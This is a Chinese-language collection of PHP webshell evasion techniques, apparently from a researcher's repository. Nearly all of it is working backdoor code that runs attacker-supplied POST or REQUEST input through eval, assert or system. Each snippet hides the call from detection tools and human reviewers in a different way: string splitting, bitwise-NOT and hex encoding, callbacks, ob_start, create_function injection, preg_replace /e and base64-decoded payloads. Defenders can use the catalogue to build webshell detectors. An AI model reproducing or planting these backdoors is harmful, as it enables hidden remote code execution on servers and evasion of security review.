此项目虽然是免杀shell,但跟代码审计密切相关,有些免杀方法就是真实漏洞的一部分简化,故打算长期沉淀,把自己看到、想到的更新在此。
大概如下四部分:
1、source
2、数据流
3、sink
4、面向人的免杀
这里有的一提的是面向人的免杀,检测工具易过,但是人一看就看得出来。所以也是要免杀人的。
代码执行的sink和代码流这块有点区别,执行任意代码的属于sink,执行指定代码的是代码流。
动态调用-字符串
字符串拼接
$func = 'as'.'sert';
$func($_POST[1]);
字符串分割
<?php
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);
?>
各种运算-异或
<?php
// $func = urlencode(~("assert"));
// print($func);//%9E%8C%8C%9A%8D%8B
$func = "%9E%8C%8C%9A%8D%8B";
$func = ~urldecode($func);
$func($_POST[1]);
?>
eval、assert同效果
回调函数
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
文件包含
include('1.txt')
双引号
$code = $_POST[1];
$data = "xxxxxxx{${eval($code)}}xxxxxx";
ob_start
<?php
$func = "system";
$cmd = $_POST[1];
ob_start($func);
echo $cmd;
ob_end_flush();
?>
create_function
<?php
$code = $_POST[1];
create_function('','1;}eval("'.$code.'");/*');
?>
二阶获取sink
数组
<?php
$item['func'] = 'assert';
$item['func']($_POST[1]);
?>
二维数组
<?php
$item['func'] = 'assert';
$array[] = $item;
$array[0]['func']($_POST[1]);
?>
get_defined_functions
<?php
$arr = get_defined_functions()['internal'];
print_r(get_defined_functions()['internal']);
echo $arr[841]; //每个版本的assert数字不同, php版本5.6.27为850
$arr[841]($_POST[1]);
编码
php7
<?php
"\x61\x73\x73\x65\x72\x74"($_POST[1]);
?>
语法
斜杠
php5.3测试成功
<?php
@eval\($_POST['code']);
?>
[email protected]
5.5
7.0
不再支持/e
<?php
@preg_replace('@(.*)@e','\\1',$_REQUEST[1]);
?>
这块随便把流量编码或者加密
//1=cGhwaW5mbygpOw==
<?php
eval(base64_decode($_POST[1]));
?>
maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia等发过的文章。
项目地址: